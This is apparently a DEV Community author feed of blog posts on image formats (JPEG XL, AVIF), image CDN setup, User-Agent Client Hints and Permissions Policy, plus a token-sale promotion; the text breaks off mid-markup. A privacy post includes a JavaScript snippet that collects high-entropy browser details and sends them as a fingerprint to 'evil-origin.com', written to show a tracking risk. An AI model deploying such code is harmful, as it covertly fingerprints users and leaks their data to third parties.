DEV Community: Jon Arne S.

Get ready for JPEG XL today 🚀

Jon Arne S. — Thu, 17 Aug 2023 10:46:20 +0000

Safari 17 with macOS 14 or iOS17 will introduce support for JPEG XL and HEIC. Usually new versions of Apple's operating systems are released in September.

September is just around the corner, so we better get ready to serve next-gen image formats to Apple users.
Here's why and how:

JPEG XL is superior to both AVIF and WEBP

I'll define "Superior" like this:

smaller file size
better visual quality
better encoding and decoding efficiency

Before we compare JPEG XL and AVIF, let me just say that WEBP is great for most use cases. It handles all kinds of images (photographs, graphics etc.) fairly well and has a lower file size than the good ol' JPEG.

WEBP encoding and decoding is also super fast compared to AVIF and JPEG XL.

All in all, WEBP is a better format than JPEG and has close to 100% browser coverage by now. An OK choice for most cases.

JPEG XL vs. AVIF

Now, this becomes interesting. Google does not believe in JPEG XL and has removed all support. Why? "There is not enough interest from the entire ecosystem" and "does not bring sufficient incremental benefits", they claim.

The ecosystem is pushing back back, documenting the benefits of JPEG XL. DAMs like Cloudinary and ImageCDNs like ImageEngine has already added support for JPEG XL

Why does the ecosystem embrace JPEG XL?

Put short, JPEG XL has a better "file size to visual quality" ratio. Which means JPEG XL is able to produce better looking images at a smaller byte size than AVIF.

The chart below shows a comparison of byte sizes for a small sample of images across various image formats.

Even thought the difference between JPEG XL and AVIF is not big, there are a few things to make not of:

The byte size of avif images, and how much AVIF is able to optimize varies a lot!
JPEG XL produce higher visual quality than AVIF at the same file size

JPEG XL is super stable when it comes to optimization factor:

One of the reasons may be that AVIF relies on the HEIF container format. HEIF has a holds a lot of metadata in the header. For small images, measured by pixel size, the header makes up a significant share of the total file size. Because the header can't be compressed, there is a limit to how much small images can be optimized using AVIF.

The chart below shows a comparison of visual quality between formats. SSIM is used to determine the quality. Lower is better.

The takeaway here is that JPEG XL images generally looks better than AVIF. Less artefacts and less "smoothening" making JPEG XL better for most kind of images. It is likely that one can be more aggressive with the quality settings for JPEG XL to reduce the byte size even further. Making JPEG XL even smaller compared to AVIF.

Start serving JPEG XL today

September, when 50% of the mobile users and 20% of the desktop users will have support for JPEG XL, is arriving fast.

Already now you can start kicking the tires of JPEG XL. It can be enabled in Firefox Nightly via the image.jxl.enabled flag in about:config.

Like mentioned, many image CDNs has already added support for JPEG XL. By using an external provider you don't have to manually go through all images and convert to JPEG XL. The image CDN will automatically serve JPEG XL to supporting browsers and other formats to other browsers.

One of the first image CDNs to support JPEG XL is ImageEngine

With ImageEngine you can sign up for a trial to start testing JPEG XL

Follow the instructions to get your site set up. Note that localhost will not work when you define the image origin.

Once you've set up, set JPEG XL (jxl) as the preferred format. This will make ImageEngine select JPEG XL over AVIF, for example, if both formats are equally well supported by the browser.

Voila, you can now enjoy JPEG XL in Firefox Nightly, and you're ready for Safari 17 in September! 🚀

What does JPEG XL Mean for the Web

Jon Arne S. — Fri, 16 Jun 2023 13:56:56 +0000

Safari 17 along with the next update of iOS and macOS will provide support for the long wanted JPEG XL (jxl).

The announcement caught the world by (pleasant) surprise, especially after Chrome decided to drop support.

*What does the introduction of JPEG XL mean for the web community of developers and other stake holders?
*

It's royalty free: Use it as much as you want, no questions asked. You might remember GIF, but more recently also HEIC has patent issues.
JPEG XL is made for images/pictures. Unlike AVIF and WEBP which are both based on a video codec.
The point above means that JPEG XL will provide higher quality images compared to AVIF and WEBP. Especially on photographic images with many details or a high bit rate.
Low file size. JPEG XL compresses super well! In most cases better than AVIF
JPEG XL supports wide color gamut and HDR
Faster encoding and decoding compared to AVIF.
JPEG XL is lossless. You can even convert your existing jpeg to jxl losslessly and still reduce the file size!

...put short: Much better than JPEG.

So. This might also mean yet a <source> to your <picture> element...which is becoming quite verbose, now... Might also mean a new format to generate in your build process...

The good news is that the tooling and plumbing on the internet already has pretty good support for JPEG XL.

Because of how well supported JPEG XL is and its unique qualities in compression, losslessly maintaining image data, color support etc. JPEG XL should be your new default format. Move all your images from JPEG to JPEG XL.

We've recently also implemented support for JPEG XL in ImageEngine (image CDN). When the origin image is a jxl, the chances of a better looking image for the end users is much greater thanks to the qualities of JPEG XL. Specially with regards to colors. Image CDNs will convert a JPEG XL to AVIF for non-supporting browsers (Chrome for example), and maintain the wide color space.

As a bonus, it's light weight and great looking :)

TezID - the Identity Oracle for Tezos

Jon Arne S. — Mon, 06 Sep 2021 12:13:49 +0000

Imagine a world where you can choose whether to reveal your identity or not. The more of a stake you have in such a world, the more likely others will want to know who you are. This is why providing evidence verifying someone's identity will be just as crucial as owning property or having access to services. This blog post will discuss how $IDZ tokens will fuel the future of self-sovereign identity and introduce its tokenomics.

What is TezID?

TezID is an identity oracle that provides users with a standard way to prove their identity in the Tezos ecosystem.

TezID runs on top of the proof-of-stake blockchain used by the Tezos protocol, but it is not dependent on that specific blockchain consensus algorithm to operate. It can provide this function for any proof-of-stake blockchain system. TezID offers the following identity solutions:

Authentication of identity using cryptographic signatures
Proof of ownership of an identity string
Creation, revocation and renewal of identities
Decentralized lookup services for identities under its control
Verifying that an identity, previously created by TezID, has not been revoked (and thus is still valid)
Validating that an identity was not produced more than once at the same time

The first four of these functions are explained in detail on TezID's website. The intersection of cryptography and game theory allows TezID to achieve these functions in a trustless, decentralized manner.

$IDZ Tokenomics

$IDZ is a FA2 token with a maximum supply of 10,000,000 tokens. It will have many valuable utilities and be available for purchase in an upcoming public sale on Rocket Launchpad! There will also be an airdrop, so make sure you sign up early if you want some free tokens!

In order to provide a strong incentive to the $IDZ holders and contribute to the growth of the TezID community, the TezID team has clearly outlined the $IDZ utilities.

Revenue Sharing

The TezID team is introducing a revenue-sharing model that allows token holders, stakers and official farming participants to earn income from the proof registration fees. They start at 50% of all income distributed this way but hope to increase over time through an automated process controlled by DAO. This will encourage people to hold onto their tokens and help spread the use cases for its platform so it can grow even more rapidly!

Only token holders that have unlocked their tokens will be able to earn income from this venture. This means founders, advisors, and private sale participants cannot share in the profits until they unlock their own tokens!

Decentralized Proofs

In the blockchain space, most people are looking beyond nation-states and want to create new social norms on-chain. This means they might be hesitant to provide national identification papers or even have access to those documents. Therefore a decentralized identity becomes useful as it provides a set of tools and incentives for individuals to prove that they're real human beings anonymously--without providing government documentation.

TezID aims to distribute decentralized identity proofs that require payment from the requester (registering the proof), which will, in turn, be used as payment for verifiers who verify their identities. All of this is conducted using $IDZ.

Custom Prooftypes

You might want to share many things securely with a dapp, including your contract terms or role at an organization. You can prove that they're yours by demonstrating "control" over some custom resources, which TezID will facilitate via proof of ownership.

The team strongly believes custom prooftypes will be necessary for many future applications. They have plans to explore this opportunity and offer their development resources to implement these proofs.

All custom prooftypes payments will be done using $IDZ!

Proof Payment

TezID will accept proof payment in $IDZ. However, to ensure that the process remains simple for our users to register proofs, they will continue supporting the use of XTZ and QuipuSwap as the conversion currency behind the scenes.

Public Sale

The $IDZ public sale will take place on September 12, 2021, at 14:00 UTC. There is a minimum of 50 XTZ and no maximum purchase amount.

The first-come, first-serve system applies based on the Rocket Tier System, which assigns priority status to those who buy more tokens for TGEs in the past (or are part of Quipu). Tokens will be liquid immediately after-sale concludes!

40% of the amount raised from the TGE will be assigned to an AMM contract set up with QuipuSwap using Crunchy Deep Freezer technology that handles all transactions automatically by the team here at Rockets HQ.

Final Thoughts

Remember, the $IDZ public token sale has a minimum requirement price of 50 XTZ, but there's also no upper limit cap!

Anyone who has registered a proof on tezid.net before 12.09.2021 14:00 UTC will be eligible for the airdrop!

User-Agent Client-Hints, take 2

Jon Arne S. — Fri, 12 Mar 2021 13:49:46 +0000

I’ve written a couple of post about User-Agent Client-Hints (UA-CH) before, and in specific how to delegate UA-CH to third party sites or domains.

Delegating UA-CH is useful when you need other sites, domains or hostnames to receive the additional information. One example is if you’re using an image CDN to optimize images.

Since Chrome v84 the Chrome team has had a few set backs which has resulted in some changes. In addition, the feature policy header, for delegating the client hints to third parties, has changed name to Permissions-Policy.

Based on my previous post, let’s see what’s changed, and learn how to delegate the UA-CH.

First, the JavaScript API is widely open and does not require any delegation or even opt-in. IMO this is a privacy issue, and Apple seems to agree with me 🙂

1. Opt-in in to Receive User-Agent Client Hints

We still have to explicitly opt-in to receive the client hints in response headers. In previous implementations it was very confusing because the sec-ch- perfix was not required. Now, we’ll need to include that prefix like this:

Accept-CH: sec-ch-ua-platform,sec-ch-ua-arch,sec-ch-ua-model,sec-ch-ua-platform-version,sec-ch-ua-full-version`

2. Delegate UA-CH using Permissions Policy

UA-CH was launched with Chrome v84 just around the time when feature policy was renamed to permissions policy. Chrome v89 still supports the feature-policy header, but let’s move ahead with permissions-policy just to stay bleeding edge 🙂

The permissions policy is a structured header. Which makes it look a bit more complicated, but it’s really not.

permissions-policy: ch-ua-arch=("https://foo.bar.com"), ch-ua-model=("https://foo.bar.com"), ch-ua-platform=("https://foo.bar.com"), ch-ua-platform-version=("https://foo.bar.com"), ch-ua-full-version=("https://foo.bar.com")

Last time I noted a little caveat here, about the header names. Names are the same, but still different from the header names we used to opt-in to receive UA-CH above. Difference now, is that we don’t use the sec- prefix in the permission policy.

3. Read the UA-CH on your 3rd party resource

If we’ve done everything correct, we should now receive the UA-CH headers on our 3rd party. This part has not changed since Chrome v84:

sec-ch-ua-full-version: "89.0.4389.82"
sec-ch-ua-arch: "x86"
sec-ch-ua-platform: "macOS"
sec-ch-ua-platform-version: "11_2_3"
sec-ch-ua-model: ""
sec-ch-ua-mobile: ?0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"

Try it out

I’ve updated my little glitch to reflect the changes: https://glen-wistful-protoceratops.glitch.me/

Here’s the “official” demo. However, this does not demo the delegation to other domains or third parties.

Three Things You Didn’t Know About AVIF

Jon Arne S. — Thu, 17 Dec 2020 08:46:44 +0000

AVIF, the file format based on the AV1 video codec, is the latest addition to the next-gen image formats. Early reports and comparisons show good results compared to JPEG and WebP. However, even if browser support is good, AVIF is still on the bleeding edge in regards to encoding and decoding. Encoding, decoding, settings and parameters has been well discussed elsewhere.

No doubt, AVIF images generate a smaller payload and are nice looking. In this post, we’ll take a closer look at issues to be aware or before you go all in on AVIF.

1) WebP is Better for Thumbnails

One interesting observation is that for small dimension images, WebP will produce lighter payload images than AVIF.

It’s probably possible to explain why, and tune the encoder to address this case. However, that is not an option for most people. Most people would probably rely on an image optimizer like squoosh.app or an Image CDN like ImageEngine. The below comparison uses exactly these two alternatives for AVIF conversion.

We see that WebP will generally produce images with a higher file size than AVIF. On larger dimension images Image Engine performs significantly better than squoosh.app.

Now, to the interesting observation. On images around 100px x 100px squoosh.app passes ImageEngine on effectiveness, but then also WEBP catches up and for a 80px x 80px image, WebPis actually the most effective image measured in file size.

The test performs relatively consistently on different types of images. For this illustration, this image from Picsum is used.

Pixels	Original JPEG (bytes)	Optimized WebP (bytes)	ImageEngine AVIF (bytes)	squoosh.app AVIF (bytes)
50	1,475	598	888	687
80	2,090	1,076	1,234	1,070
110	3,022	1,716	1,592	1,580
150	4,457	2,808	2,153	2,275
170	5,300	3,224	2,450	2,670
230	7,792	4,886	3,189	3,900
290	10,895	6,774	4,056	5,130

2) AVIF Might Not Be the Best for Product Images with High Entropy

Typically, a product page consists of images of the product, and when a user’s mouse hovers over or clicks on the product image, it zooms in to offer a closer look at the details.

It is worth noting that AVIF will in certain cases reduce the level of detail, or perceived sharpness, of the image when zoomed in. Especially on a typical product image where the background is blurred or has low entropy while foreground, and product, has more detail and possibly higher entropy.

Below is a zoomed in portion of a bigger product image (JPEG, AVIF) which clearly illustrates the difference between a regularly optimized JPEG versus an AVIF image optimized by squoosh.app

The AVIF is indeed much lighter than the JPEG, but in this case the trade off between visual quality and lower file size has gone too far. This effect will not be as perceptible for all types of images, and therefore will be difficult to proactively troubleshoot in an automated build process that relies on responsive images syntax for format selection.

Moreover, unlike JPEG, AVIF does not support progressive rendering. For a typical product detail page, progressive rendering might provide thea killer feature to improve key metrics like Largest Contentful Paint and other Core Web Vitals metrics. Even if a JPEG takes a little bit longer time to download due to its larger file size compared to AVIF, chances are that it will start rendering sooner than an AVIF thanks to its progressive rendering mechanism. This case is well illustrated by this video from Jake Achibald.

3) JPEG 2000 is Giving AVIF Tough Competition

The key selling point of AVIF is its extremely low file size relative to an acceptable visual image quality. Early blogs and reports have been focusing on this. However, JPEG2000 (or JP2) may in some cases be a better tool for the job. JPEG2000 is a relatively old file format and does not get the same level of attention as AVIF, even if the Apple side of the universe already supports JPEG2000.

To illustrate, let’s look at this adorable puppy. The AVIF file size optimized by squoosh.app is 27.9KB with default settings. Converting the image to JPEG2000, again using ImageEngine, the file size is 26.7 KB. Not much difference, but enough to illustrate the case.

What about the visual quality? DSSIM is a popular way to compare how visually similar an image is to the original image. The DSSIM metric compares the original image to a converted file, with a lower value indicating better quality. Losslessly converting the AVIF and JPEG2000 version to PNG, the DSSIM score is like this:

	DSSIM (0 = equal to original)	Bytes
JPEG2000	0.019	26.7 KB
AVIF	0.012	27.9 KB

AVIF has slightly better DSSIM but hardly visible to the human eye.

Right Tool for the Job

The key takeaway from this article is that AVIF is hardly the “silver bullet”, or the one image format to rule them all. First of all, it is still very early in the development of both encoders and decoders. In addition, AVIF is yet another format to manage. Like Jake Archibald also concludes in his article, offering 3+ versions of each image on your webpage is a bit of a pain unless the entire workflow (resize, compress, convert, select, deliver) is all automated.

Also, like we’ve seen, just because a browser supports AVIF, it doesn't mean that it is the best choice for your users.

Using responsive images and adding AVIF to the list of image formats to pre-create is better than not considering AVIF at all. A potential challenge is that the browser will then pick AVIF if it’s supported regardless of whether AVIF is the right tool or not.

However, using an image CDN like ImageEngine, will to a greater extent be able to dynamically choose between supported formats and make a qualified guess whether WEBP, JPEG2000 or AVIF will give the best user experience. Using an Image CDN to automate the image optimization process will take into account browser compatibility, image payload size and visual quality.

Comply with Permission-Policies (Feature-Policies) with an Image CDN

Jon Arne S. — Tue, 25 Aug 2020 13:41:13 +0000

It's already challenging enough to create a website that is blazing fast, adheres to all the latest best practices and offers optimal experience for various network conditions and device types.

As the website and its codebase evolves over time, it can become even harder to maintain the desired user experience over time. To prevent UX deterioration, it’s often a good idea to place guardrails which ensure that crucial website elements, such as images, hold to a certain criteria. In this article, we are going to look at a robust mechanism which helps to steer your website in the right direction - an HTTP header called Feature Policies.

Note: Feature Policies are soon to change name to "Permission Policies". In the following, we'll continue to talk about Feature Policies as this is what is still implemented in the wild.

Feature Policy Overview

Feature policies comprise a set of rules you can selectively define in relation to various browser features and APIs to enforce the desired best practices for your website. For instance, you can ensure that under no conditions a user on a device with a small viewport will receive an oversized, unoptimized image - this effectively prevents layout thrashing and avoids wasting user’s bandwidth.

Feature Policy might remind you of Content Security Policy - you control which origins can use which features, both in the top-level browsing context and in any embedded frames. It’s worth noting that preventing the use of the sub-optimal functionality requires explicitly specifying a policy that disables the features as everything is allowed by default to maintain backwards compatibility.

Here’s an example of a policy which covers all bases when it comes to optimal image delivery:

Feature-Policy: legacy-image-formats ‘none’; oversized-images ‘none’; unoptimized-images ‘none’; unsized-media

legacy-image-formats

Prevents browser from displaying any images in legacy formats:

oversized-images

Disables the use of images whose sizes that are much bigger than the containers.

unoptimized-images

Detects and blocks any images with large byte-per-pixel ratio.

unsized-media

Allows developers to enforce that image/video elements have explicit dimensions.

If any image matches any of the first three rules, a lightweight placeholder will be rendered in place of it. As to image and video elements without explicitly defined dimensions, the browser will set the default size of 300x150.

You are also allowed to split one statement into several headers, like so:

Feature-Policy: legacy-image-formats ‘none’; Feature-Policy: oversized-images ‘none’; Feature-Policy: unoptimized-images ‘none’; Feature-Policy: unsized-media ‘none’;

For each rule, you can define a list of allowed origins. none in the example above is a keyword denoting that the rule is enforced across all browsing contexts. Adding your website could be done via another keyword called self, while other origins must be spelled out:

Feature-Policy: legacy-image-formats ‘self’ https://third-party-service.com

As you can imagine, we don’t want to block it from accessing the images, hence you need to include CDNs origin into the list of allowed origins:

Let’s take a look at a practical example of picking and adding an origin to the allowlist. When serving your image assets through an Image CDN, you have a single high-resolution image included as a source in your markup. Image CDN picks it up and applies optimizations on-the-fly, returning the most suitable variation to the end user. To ensure this mechanism continues to function smoothly after introducing the aforementioned policies, you’d have to add your Image CDN’s origin to the allowlist:

Feature-Policy: legacy-image-formats https://img.cdn.imgeng.in;
Feature-Policy: oversized-images https://img.cdn.imgeng.in;
Feature-Policy: unoptimized-images https://img.cdn.imgeng.in;
Feature-Policy: unsized-media https://img.cdn.imgeng.in;

Conclusion

Feature Policy is a powerful tool that allows you to control the use of a variety of browser features and APIs, both on your own website and within iframes.

Policies fall into two broad categories:

Enforcing best practices for good user experiences and avoid using outdated APIs
Providing granular control over sensitive features with security and privacy implications

Deciding which policies to apply and to what extent depends on your circumstances. For new content, you can start developing with all the features turned off. This approach ensures that none of the undesired functionality sneaks into your codebase. When applying a policy to the existing content, you need to test and verify that it continues to work as expected. This is especially important for embedded content: it’s a good idea to first observe effects on your own content before extending the rules to the third-party content that you do not control.

As for image-related policies, using an Image CDN saves a considerable amount of time, freeing you from all the heavy-lifting associated with efficiently delivering optimized, responsive images which comply with your image policies. Everything is handled for you behind the scenes automatically, without cutting corners: choosing the most appropriate format, resizing and reducing file size by applying smart refinements. The only thing you have to do is to add Image CDN’s origin to the list of allowed hosts - who wouldn’t want to instantly take a leap above the competition in just a few minutes?

Image CDN Plugin for WordPress - Simplify and Speed Up Image Delivery

Jon Arne S. — Tue, 11 Aug 2020 07:47:45 +0000

As a CMS, WordPress makes it incredibly easy to use and manage images on your website. And, rightly so, as no website today is complete without them - both from an aesthetic and user experience perspective.
However, they can be a burden in terms of your average page weight and, in turn, your general website performance. In fact, it’s one of the top 3 contributors to page weight according to Google.
Luckily, there are image optimization solutions out there that don’t require technical knowledge to implement. One, in particular, stands out for its holistic approach to image optimization with a strong focus on mobile - ImageEngine.

Why use an Image CDN for Wordpress?

As many as ⅓ users leave a website that takes 1 second longer to load. Furthermore, Google themselves use page loading times as a ranking factor according to various user-centric performance metrics.

Since last year, Google is also prioritizing ranking websites according to mobile performance thanks to mobile-first indexing.

Unfortunately, WordPress does the bare minimum in terms of image optimization. Via responsive syntax, WordPress can only serve a limited number of differently sized versions of an image based on the screen size of the accessing device. It doesn’t take into account at all the deeper context, like which image formats are best on which browsing platforms or how to scale compression while maintaining viewing quality.
Obviously, the answer isn’t to get rid of images altogether but to find a way to limit their impact.

That’s exactly what Image CDNs are for.

According to Google, an Image CDN can reduce your image file sizes by 40-80%.

What is the ImageEngine Image CDN?

While any Image CDN is a step in the right direction, ImageEngine takes things even further.
ImageEngine is an intelligent, device-aware image CDN with unprecedented flexibility to deliver images optimally for different types of devices, operating systems, and screen sizes.
ImageEngine uses WURFL device detection to read everything it can about the context of the accessing device and adapt appropriately.
In today’s world, where the range of devices is growing exponentially, this is the closest you’ll get to build a level of future-proofing into your image optimization.
On the CDN side, optimized images are cached across the globe in over 20 PoPs, each of which has device-detection built into their business logic.

Just some of the steps ImageEngine takes to optimize images are:

Use next-gen formats like WebP or jpg2000
Resize images according to screen size
Apply maximum compression without tangibly affecting image quality

Smartly using next-gen formats alone can decrease total image payloads by up to 80%:

A notable new feature is support for data saving mode on Chrome browsers, decreasing payloads even further by deprioritizing viewing quality.

How to use Image CDN with ImageEngine - Step by Step

Step 1: Sign up for ImageEngine

You can head here to sign up for a free 60-day trial of ImageEngine. You’ll also need to provide ImageEngine with the URL of your website. Later, you’ll provide ImageEngine with the origin URL of your images. This can be the same as your website or it can be an Amazon S3 bucket or Google Cloud Storage URL.

The entire process is detailed here.

In the final step, ImageEngine will provide you with a Delivery Address where it will serve your images from:

You can copy this now or get it from your ImageEngine dashboard later.

Step 2: Install the Image CDN plugin

The Image CDN plugin can be installed just like any other WordPress plugin. Just head to your WordPress backend and then to Plugins -> Add New. Find the Image CDN plugin by searching for “ImageEngine”, and install and activate it.

Step 3: Serve optimize images via ImageEngine

ImageEngine is an almost entirely hands-off platform - one of its main advantages.
Just by providing it with your website domain, it fetches all your images from your website and renders optimized versions of them.
All you need to do is replace your image src URLs with your new ImageEngine image-serving domain.
To do this using the plugin, just got to Settings -> Image CDN in the main WordPress menu.
Use the domain ImageEngine generated for you under ‘My Domain Names’ in your ImageEngine dashboard and enter it in the ‘CDN URL’ box in the Image CDN panel:

If your website is located in a subdirectory or you want to specify specific paths for images to optimize, you can do so using the ‘WordPress URL’ and ‘Included Directories’ boxes.
‘Save changes’ to apply.

And, that’s it. You should now be serving optimized images via your ImageEngine domain.

(Optional) Step 4: Adjust your image optimization preferences

ImageEngine already does everything within its power to optimize your images by default. This is the recommended way to use the CDN if you want to get the most out of it.

However, you can also use property-based directives to exercise some control over how images should be altered.

Directives can be added directly from the Image CDN panel under ‘ImageEngine Directives’.

For example, you can specify:

Image resizing dimensions (e.g., ?imgeng=/w_300)
Specific image formats (e.g., ?imgeng=/f_webp)
The level of compression (e.g., ?imgeng=/w_300)

Or, any combination of directives.

What are the results?

The proof is in the pudding. So, let’s see what kind of performance increase you can expect on your WordPress website.

Here’s the performance of a typical image-heavy WordPress page using a predesigned theme:

As you can see, the performance is subpar in terms of all of Google’s user-centric performance metrics. The First Contentful and Meaningful Paint are particularly concerning, as these factors measure the time it takes for the user to see any useful content generated.

Using ImageEngine to serve and optimize our images, we get the following results:

As you can see, there are drastic improvements across the board to those all-important user-centric performance metrics. The total page loading time was halved according to the Speed Index. The same goes for the First Contentful Paint and First Meaningful Paint.
The most drastic change came to Time to Interactive which is also one of the most important when it comes to avoiding frustrating your visitors.

Conclusion

If you’re building and hosting a website using WordPress, chances are you don’t want technicalities to stand in your way of maintaining a digital presence for you or your business. And, neither should you.

However, not optimizing your image content can lead to very real consequences.

ImageEngine is one platform that needs the minimum time or skill investment to use - yet delivers some of the most impressive results. Using the Image CDN plugin, makes using this service on your WordPress website a breeze.

User-Agent Client-Hints Privacy Concerns

Jon Arne S. — Mon, 08 Jun 2020 07:12:15 +0000

First posted here: https://mpulp.mobi/2020/05/27/user-agent-client-hints-security-concerns/

User-Agent Client-Hints (UA-CH) are just around the corner. The Chrome teams original plan was to deprecated the user-agent header and have it replaced by UA-CH. The motivation was privacy.

The User-Agent string is an abundant source of passive fingerprinting information about our users. It contains many details about the user’s browser and device as well as many lies ("Mozilla/5.0", anyone?) that were or are needed for compatibility purposes, as servers grew reliant on bad User Agent sniffing.

The current implementation if UA-CH, provide access to the hints either through HTTP headers, or through a JavaScript API.

Security Mechanisms for UA-CH as HTTP Headers in place

The concerns related to the User-Agent are that it can be used to fingerprint users because of the relatively high entropy. The use case where the User-Agent are present in server logs or similar did get a lot of attention.

The UA-CH attempts to solve this by the already existing opt-in mechanism in the Client Hints specification combined with permission policy delegation of hints. Even if this solution does not offer any alternative to the User-Agent on the first navigation request, the Chrome team seems fixed on this idea.

Anyway, the important thing is that there is some security baked in. The high entropy hints are not available by default.

Access to UA-CH through JavaScript API is Wide Open

In Chrome version 85 I'm able to read all User-Agent Client-Hints whit out restrictions.

The spec says this about Access restrictions:

User agents ought to exercise judgement before granting access to this information, and MAY impose restrictions above and beyond the secure transport and delegation requirements noted above. For instance, user agents could choose to reveal platform architecture only on requests it intends to download, giving the server the opportunity to serve the right binary. Likewise, they could offer users control over the values revealed to servers, or gate access on explicit user interaction via a permission prompt or via a settings interface.

No opt-in

To get access to the UA-CH through the JavaScript API, no opt-in is required. All high entropy data points are exposed to everyone, even 3rd parties!

No additional effort is needed by any party to get access to the high entropy data points.

No User Approval

The only hope for the future is that the access to the high entropy hints are provided through a promise, which offers an asynchronous "hook" for browsers to interfere. Browsers have not yet taken this opportunity to protect the high entropy data points. Probably as expected because of to the vague language in the specification.

No Delegation Through Permission Policies

The HTTP hints are only available at the 1st party origin by default. A Permission Policy is a way to restrict or allow access to certain browser features. However, access to UA-CH through the JavaScript API is not covered by the Permission Policy implementation. That means, that you can restrict a 3rd party server from receiving high entropy information about your users through HTTP headers, but the 3rd party server can still access the information through JavaScript.

Inconsistent Security Model

Comparing the relatively high level of security and number of trade-offs for UA-CH in the HTTP header with the wide open access to UA-CH through navigator.userAgentData.getHighEntropyValues(), a few questions comes to mind:

Why does Permission Policy only apply to UA-CH provided by HTTP headers and not the JavaScript API?
Why is there no Opt-in using accept-ch or similar?
Why is there no user approval implemented in browsers when scripts are trying to access navigator.userAgentData.getHighEntropyValues()? .
Why is the spec so vague on the topic of gating the UA-CH client side?
Are UA-CH in HTTP headers considered a higher risk than in JavaScript?
Why aren’t the same information protected by the same mechanisms client side and server side?

🤔

There is an open issue on github covering this topic.

Conclusion

DEMO: Here is a simple demo that access the high entropy data through the JavaScript API and mimics a request to a third party tracking pixel: https://dapper-handsome-ziconium.glitch.me/. 👈🏻 Remember to test it on Chrome version 84 or higher.

Basically, it's very easy to do things like link decoration:

  navigator.userAgentData.getHighEntropyValues(["architecture","model","platform","platformVersion","uaFullVersion"]).then(function() {
        var image = document.createElement('img');
        image.src = 'https://evil-origin.com/tracker.gif?fingerprint=' + JSON.stringify(arguments[0])+JSON.stringify(navigator.userAgentData.brands)+JSON.stringify(navigator.userAgentData.mobile);
        document.getElementById("myid").appendChild(image);
      });

I'd expect parity between the JavaScript API and the HTTP headers when it comes to availability, security and permissions. Right now it's not.

I'd expect Permission Policy to govern access and delegation to the UA-CH through JavaScript. After all, these new data points, combined with oter information freely available on the client side, provide a pretty good fingerprint. Much more accurate than what is possible on the server side, even with the UA-CH. The Client Hints infrastructure clearly says that UA-CH are policy controlled. That is not the case currently

I'd expect 3rd parties, i.e. iframes, or 3rd party scripts not to have access to the UA-CH JavaScript API unless explicitly allowed.

I'd be pleasantly surprised if the opt-in (accept-ch) also was required to receive high entropy data through UA-CH JavaScript API.

I'd rather not see yet another popup asking the user for permission to access high entropy data. With geolocation, cookies and camera etc., we already have notification fatigue. T&C anyone?

Not to address these issues seems like a lost opportunity to make it right from the beginning. Avoiding to stumble into a JavaScript-UA-CH-sniffing-ditch like we've seen with the User-Agent.

On the server side, sniffing and detection is less of an issue because the software and algorithms making sense of the User-Agent is pretty much settled and commercially available to all serious players. Giving every single frontend developer access to UA-CH client side, seems like a huge security-, and functionality risk to me.

If Chrome v85 reaches stable in its current form, I'm in the market for a new browser.

Optimize images with ImageEngine

Jon Arne S. — Mon, 13 Jan 2020 12:33:29 +0000

ImageEngine is an image CDN with built in, real time image optimization. What makes ImageEngine stand out from the crowd is the way ImageEngine analyse the request to dynamically provide a visually high quality image at the lowest possible byte size. Usually you don't need to worry about URL parameters with quirky syntax or JavaScript libraries, just refer to the image by its URL on the image CDN and ImageEngine will real time figure out the best ways to optimize the image.

Image Optimization with Emphasis on Mobile

TLDR; Instead of trying to cover all scenarios and possible combinations of sizes, formats and compression rates build time, let the image CDN handle it for you, run time.

The automatic optimization of images may result in up to 10-15 different versions, or derivatives, of the original image. How is this possible? ...and how is that possible to manage for the CDN?

It is not uncommon that the share of mobile traffic to a website is around 50% or even more. Because the plethora of mobile devices is so diverse when it comes to capabilities such as screen size, resolution, supported image formats and so on. Moreover, network conditions may require higher compression levels. ImageEngine use a combination of techniques to manage this diversity. Parameters in the URL are of course supported for explicit requests. For dynamic optimization, client hints are used - if supported - in combination with HTTP header analysis and powerful device detection is applied at the edges of the CDN to make sure proper cache keys for the derivative images are computed.

A little demo

Even if this simple glitch demo is simple, it illustrate the importance of image optimization to improve web performance. The demo has two html pages where the only difference is that one of them has images optimized by ImageEngine. Here is the visual result (page optimized by ImageEngine to the left):

Even in this demo page is small and lightweight, the Lighthouse report is clear on the missed opportunities to gain better performance:

Let's examine the steps required to optimize image delivery on this page.

1. Set up ImageEngine Account

First you need to sign up for a free ImageEngine trial account.

Provide the fully qualified domain name of the site you want to optimize. From this website image origins will be extracted (see step 3).
Create an ImageEngine account by providing your email and a password, or using Google or Github.
Select an origin where ImageEngine will fetch original images from. Select from the list or provide a different origin.
The ImageEngne account is created and ready to use. More documentation.

Your able to access images using the ImageEngine hostname. The ImageEngine hostname is the one ending with *.imgeng.in. For example. xxxyyy.cdn.imgeng.in or images.mydomain.com.imgeng.in depening on the tier.

If you've signed up for a higher tier, the ImageEngine hostname is also what you'll use when you configure your DNS record for the domain name you provided. So, if you wanted images.mydomain.com to serve the optimized images, you can create a CNAME record in your DNS for images.mydomain.com pointing it to images.mydomain.com.imgeng.in. When that change has propagated through the network, you'll be able to access the image from your origin by images.mydomain.com/img.png and images are optimized by ImageEngine.

More advanced settings and statistics are available in the control panel.

Many sites serve other assets such as CSS and Javascript from the same host as images are served. This will not cause any issues with ImageEngine. ImageEngine will also cache and serve non-image content.

2. Refer to images in the markup

Whether you use responsive images markup or the good ol' image tag, the approach is the same; change the url to your images. If your image tag looks like this <img src="//myorigin.com/img.png"> then change it to <img src="//images.mydomain.com/img.png"> following the example with our hostnames above. Alternatively you can also use the ImageEngine hostname directly: <img src="//xxxyyy.cdn.imgeng.in/img.png">

Usually, the results are over all better when ImageEngine get to decide how to optimize the image. That means no URL parameters or directives are required, just the plain image url:

<img src="//images.mydomain.com/img.png" alt="Image optimized with ImageEngine" width="100%" sizes="(min-width: 850px) 840px, calc(100vw - 10px)">

Note the presence of the sizes attribute. When sizes is present, the browser is able to calculate the intended display size of the image before making the request to download it. This is the prerequisite for the browser to add client hints to the request. Client hints enable ImageEngine to be much more accurate when resizing and optimizing images.

In your responsive images markup, with or without client hints enabled, it may make sense to use ImageEngine url parameters to request specific sizes of an image:

<img src="//myimg.mydomain.com.imgeng.in/168703ff-6f54-4872-bfbe-0732fbe39d1d%2Fcamera.jpg" sizes="(min-width: 850px) 840px, calc(100vw - 10px)"
                srcset="//myimg.mydomain.com.imgeng.in/168703ff-6f54-4872-bfbe-0732fbe39d1d%2Fcamera.jpg?imgeng=/w_375 375w, 
